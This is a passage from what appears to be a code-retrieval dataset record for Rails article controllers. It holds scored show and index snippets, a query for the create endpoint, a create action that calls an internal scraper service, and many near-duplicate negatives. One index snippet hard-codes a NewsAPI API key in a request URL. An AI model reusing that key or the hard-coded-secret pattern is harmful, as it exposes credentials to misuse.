Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @article }\n end\n end", "def show\n @article = Article.published.find_by_id_or_permalink(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def article(id, params = {})\n get \"articles/#{id}\", {query: params}\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def index\n @articles = Article.order('id DESC')\n respond_to do |format|\n format.html\n format.json { render json: @articles }\n end\n end", "def index\n @articles = current_user.articles\n json_response(@articles)\n end", "def index\n @articles = Article.all\n raise if @articles.blank?\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def article(id, *args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n response = get(\"articles/#{id}\",options)\n response.article\n end", "def show\n @article = article_get!(params[:id])\n respond_with(@article)\n end", "def show\n @article_datum = ArticleDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article_datum }\n end\n end", "def show\n respond_to do |format|\n format.html { render }\n format.json { render_json_responsibly(@article) }\n end\n end", "def show\n @admin_article = Admin::Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_article }\n end\n end", "def index\n @articles = Article.all.sort_by(&:url)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n # GET /articles\n @articles = Article.all\n end", "def GetArticle id\n\n APICall(path: \"help_center/articles/#{id}.json\")\n\n end", "def index\n @menu = \"articles\"\n @num_articles = num_articles\n @page_number = 1\n begin\n @page_number = params[:page].to_i unless params[:page].blank?\n last_page = (@num_articles / Ufo::MAX_PAGE_ITEMS) + 1\n if @page_number <= 0\n @page_number = 1\n elsif @page_number > last_page\n @page_number = last_page\n end\n rescue\n logger.error \"Page number not valid!\"\n end\n @articles = Rails.cache.fetch(\"articles/index/#{@page_number}\", :expires_in => 1.week) do\n Article.where(:status => 1).without(:article_helper_method, :article_type, :date_filter, :email, :partial_1).desc(:published_date).skip((@page_number-1) * Ufo::MAX_PAGE_ITEMS).limit(Ufo::MAX_PAGE_ITEMS).entries\n end\n @page_title = \"Articles\"\n @page_description = \"Latest Articles\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index # uses paginate\n @articles = Article.paginate page: params[:page], per_page: 10\n #@articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.page(params[:page]).order(:pub_date,:source,:headline)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def show\n @clothing_article = ClothingArticle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clothing_article }\n end\n end", "def get_articles\n @articles = ActiveSupport::JSON.decode(access_token.get('/articles.json'))\n end", "def show\n @pages_article = PagesArticle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pages_article }\n end\n end", "def show\n @article = Article.find(params[:id])\n if @article==nil\n redirect_to articles_url\n else\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end\n end", "def index\n @response = HTTParty.get(\"http://newsapi.org/v2/top-headlines?category=sports&q=golf&apiKey=12e692d8e7254efa8cf6276ea99736b0\")\n @report = JSON.parse(@response.body)\n @article = @report[\"articles\"]\n end", "def show\n @feed = Feed.find(params[:feed_id])\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def index\n @articles = article_all\n respond_with(@articles)\n end", "def show\n @article = Article.find(params[:id])\n end", "def show\n @article = Article.find(params[:id])\n end", "def show\n @article = Article.find(params[:id])\n end", "def show\n @article = Article.find(params[:id])\n end", "def show\n @article = Article.find(params[:id])\n end", "def show\n @article = Article.find(params[:id])\n end", "def show\n @article = Article.find(params[:id])\n end", "def show\n @article = Article.find(params[:id])\n end", "def show\n @article = Article.find(params[:id])\n end", "def show\n @article = Article.find(params[:id])\n end", "def show\n @article = Article.find(params[:id])\n end", "def show\n @article = Article.find(params[:id])\n end", "def call\n articles = JSON.parse(Base64.urlsafe_decode64(@params['articles']))\n Success(articles)\n rescue StandardError\n Failure(Value::Result.new(status: :bad_request, message: 'Article list not found'))\n end", "def show\n @article = Article.includes(:comments).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.includes(:comments).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.includes(:comments).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @user_article = UserArticle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @user_article }\n end\n end", "def GetArticles params = {}\n\n params = params.merge(path: 'help_center/articles.json')\n APICall(params)\n\n end", "def show\n @article = Article.find(params[:id])\n respond_with(@article)\n end", "def show\n @articles = Article.all\n end", "def show\n @article = Article.find(params[:id]) \n end", "def show\n begin\n article = Article.joins(:article_text).select(\"text, title\").find(params[:id])\n if article.text.nil?\n render :json => {title: article.title, text: MESSAGE}.to_json\n else\n render :json => article\n end\n rescue\n render :json => {title: \"\", text: MESSAGE}.to_json\n end\n end", "def show\n @article = Article.find(params[:id])\n end", "def article(cps_id)\n @client.request(:get, \"articles/#{cps_id}\")[\"article\"]\n end", "def show\n @articleaddressee = Articleaddressee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articleaddressee }\n end\n end", "def index\n #remove_cache #if params[:page]\n #@articles = #Article.where(:is_published => true)\n @articles = Article.published.paginated(params[:page], 10)\n respond_to do |format|\n\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def show\n @article = Article.find params[:id]\n end", "def index\n @articles = Article.order('published_at DESC').page(params[:page]).per(5)\n\n respond_to do |format|\n format.html { render :layout => false if request.xhr? }\n format.json { render json: @articles }\n end\n end", "def read_articles\n JSON.parse(File.read(\"articles.json\"))\nend", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end" ]
[ "0.7745946", "0.75169533", "0.7514653", "0.7483779", "0.74794465", "0.74741095", "0.74741095", "0.74741095", "0.74741095", "0.74741095", "0.74741095", "0.74741095", "0.74741095", "0.74741095", "0.74741095", "0.74741095", "0.74741095", "0.74741095", "0.74741095", "0.7427753", "0.7427753", "0.7427753", "0.7427753", "0.7427753", "0.7427753", "0.74233234", "0.7375665", "0.7314243", "0.7269898", "0.72290784", "0.7186836", "0.7185977", "0.7129865", "0.7117525", "0.70641494", "0.7049445", "0.7038603", "0.70167893", "0.6988462", "0.6988366", "0.69622266", "0.690541", "0.6877994", "0.68634385", "0.68551", "0.68446344", "0.6826926", "0.68240654", "0.68178016", "0.68159276", "0.67993987", "0.67993987", "0.67993987", "0.67993987", "0.67993987", "0.67993987", "0.67993987", "0.67993987", "0.67993987", "0.67993987", "0.67993987", "0.6799314", "0.6771975", "0.67679214", "0.67679214", "0.67679214", "0.67567056", "0.6746723", "0.67406255", "0.6723691", "0.670258", "0.66951174", "0.6691913", "0.66887635", "0.6686846", "0.66766775", "0.6673459", "0.6664146", "0.6659832", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685", "0.6653685" ]
0.0
-1
POST /articles POST /articles.json
def create @article = Article.new(article_params) response = RestClient.get 'http://scraper:3000/api/get', { params: { url: @article.url } } scraped_article = JSON.parse(response.body) @article.update({ :title => scraped_article['title'], :byline => scraped_article['byline'], :excerpt => scraped_article['excerpt'], :content_html => scraped_article['content'], :readerable => scraped_article['readerable'], :scraped_at => DateTime.now }) respond_to do |format| if @article.save format.html { redirect_to @article, notice: 'Article was successfully created.' } format.json { render :show, status: :created, location: @article } else format.html { render :new } format.json { render json: @article.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, :notice => 'Article was successfully created.' }\n format.json { render :json => @article, :status => :created, :location => @article }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n respond_to do |format|\n if @article.save\n format.html { redirect_to root_path, notice: 'Article was successfully created.' }\n format.json { render :index, status: :created, location: @article }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html do\n redirect_to @article, notice: 'Article was successfully created.'\n end\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json do\n render json: @article.errors, status: :unprocessable_entity\n end\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n \n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to articles_public_url, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: \"Article was successfully created.\" }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = article_create(params[:article])\n @article.save\n respond_with(@article)\n end", "def create\n @article = Article.new(article_params)\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render action: 'show', status: :created, location: @article }\n else\n format.html { render action: 'new' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render action: 'show', status: :created, location: @article }\n else\n format.html { render action: 'new' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render action: 'show', status: :created, location: @article }\n else\n format.html { render action: 'new' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n flash[:success] = 'Article was successfully created.';\n format.html { redirect_to dashboard_articles_url }\n format.json { render :article }\n else\n format.html { render action: 'new' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Dodano artykuล‚.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:article])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Article was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t @article = Article.new(article_params)\n\n\t respond_to do |format|\n\t if @article.save\n\t format.html { redirect_to @article, notice: 'article was successfully created.' }\n\t format.json { render :show, status: :created, location: @article }\n\t else\n\t format.html { render :new }\n\t format.json { render json: @article.errors, status: :unprocessable_entity }\n\t end\n\t end\n\tend", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to action: :index, notice: 'Create Success.' }\n format.json { render action: :index, status: :created }\n else\n format.html { render action: :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html do\n redirect_to @article,\n notice: t('shared.msgs.success_created',\n obj: t('activerecord.models.article', count: 1))\n end\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json do\n render json: @article.errors, status: :unprocessable_entity\n end\n end\n end\n end", "def CreateArticle params = {}\n \n APICall(path: 'help_center/articles.json',method: 'POST',payload: params.to_json)\n \n end", "def create\n @article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to [:edit, @article], notice: 'Nouvel article crรฉรฉ.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Articulo creado exitosamente' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'ฤŒlanek je bil uspeลกno ustvarjen!' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n\t\t\t\t# whitelisting certain fields that we want to enter by passing in article_params\r\n\t\t\t\tarticle = Article.new(article_params)\r\n\r\n\t\t\t\t# check similarities\r\n\t\t\t\tif article.save\r\n\t\t\t\t\t# render a response\t\r\n\t\t\t\t\trender json: {status: 'Success', message:'Save artice', data:article}, status: :ok\r\n\t\t\t\telse\r\n\t\t\t\t\t# unsuccessfully\r\n\t\t\t\t\trender json: {status: 'ERROR', message:'Article not saved', \r\n\t\t\t\t\t\tdata:article.errors}, status: :unprocessable_entity\r\n\t\t\t\tend\t\r\n\t\t\tend", "def create\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: \"L'article a ete correctement cree\" }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def create\n @article = Article.internal.new(params[:article])\n @article.user = current_user\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to admin_articles_path, :notice => t('articles.article_successfully_created') }\n format.json { render :json => @article, :status => :created, :location => @articles }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n @article.author = current_user\n if @article.save\n render :show, status: :created\n else\n render json: { errors: @article.errors }, status: :unprocessable_entity\n end\n end", "def create\n @article = current_user.articles.create(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.find_by_authentication_token(params[:auth_token])\n @article = Article.new.from_json(params[:article])\n @article.nb_comments = 0\n @article.publication_date = Time.now\n @article.user_id = @user.id\n respond_to do |format|\n if @article.save\n @article.score = Score.create(:score_pos => 0, :score_neg => 0)\n @article.save\n @author = Author.create(:article_id => @article.id, :user_id => @user.id, :job => \"author\")\n @author.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = current_user.articles.new(params[:article])\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article_datum = ArticleDatum.new(params[:article_datum])\n\n respond_to do |format|\n if @article_datum.save\n format.html { redirect_to @article_datum, notice: 'Article datum was successfully created.' }\n format.json { render json: @article_datum, status: :created, location: @article_datum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @admin_article = Admin::Article.new(params[:admin_article])\n\n respond_to do |format|\n if @admin_article.save\n format.html { redirect_to @admin_article, notice: 'Article was successfully created.' }\n format.json { render json: @admin_article, status: :created, location: @admin_article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = current_user.articles.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = current_user.articles.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render action: 'show', status: :created, location: @article }\n else\n format.html { render action: 'new' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # @article = Article.new\n # @article.title = params[:article][:title] # pull title from the request and insert into article object\n # @article.body = params[:article][:body] # pull body from the request and insert into article object\n \n @article = Article.new(article_params)\n \n @article.save\n\n flash.notice = \"Article '#{@article.title}' created!\"\n redirect_to article_path(@article)\n end", "def create\n\t@article = current_user.articles.new(params[:article]) \n#@article = Article.new(params[:article])\n\n respond_to do |format|\n if @article.save\n\tformat.html{ redirect_to(@article, \"article created successfully\")}\n#\tformat.html { redirect_to(@article, :notice => t('articles.create_success')) }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = current_user\n @article = @user.articles.build(article_params)\n respond_to do |format|\n if @article.save\n @user.articles << @article\n format.html { redirect_to @article, notice: 'Recipe was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.create(params[:article])\n redirect_to @article\n end", "def create\n article = Article.create params['article']\n if article.invalid?\n render status: 400, inline: extract_first_error_message(article.errors.messages)\n else\n respond_with article\n end\n end", "def create\n @article = Article.new(article_params)\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: '่จ˜ไบ‹ใฎๆŠ•็จฟใŒๅฎŒไบ†ใ—ใพใ—ใŸ' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n set_owners\n @article = Article.new(article_params)\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(article_params)\n @article.user = current_user\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render :show, status: :created, location: @article }\n else\n format.html { render :new }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pages_article = PagesArticle.new(params[:pages_article])\n\n respond_to do |format|\n if @pages_article.save\n format.html { redirect_to @pages_article, notice: 'Pages article was successfully created.' }\n format.json { render json: @pages_article, status: :created, location: @pages_article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pages_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n flash[:notice] = t('actions.create.success', Article.model_name.human) if @article.save\n respond_with(@article)\n end", "def create\n @article_news = ArticleNew.new(article_news_params)\n\n respond_to do |format|\n if @article_news.save\n format.html { redirect_to @article_news, notice: \"Article new was successfully created.\" }\n format.json { render :show, status: :created, location: @article_news }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @article_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article])\n\n check_admin_or_dziekan\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n# format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # @article = Article.new(params[:article])\n @article = Article.new(:title => params[:article][:title], :body => params[:article][:body])\n\n @article = Article.new(params[:article])\n\n # @article.title = params[:article][:title]\n # @article.body = params[:article][:body]\n\n respond_to do |format|\n if @article.save\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @article = Article.new(params[:article].except(:author_list))\n if @article.save\n @article.author_list = params[:article][:author_list]\n success = @article.save\n else\n success = false\n end\n\n respond_to do |format|\n if success\n format.html { redirect_to @article, notice: 'Article was successfully created.' }\n format.json { render json: @article, status: :created, location: @article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n logger.debug @article.errors.inspect\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # 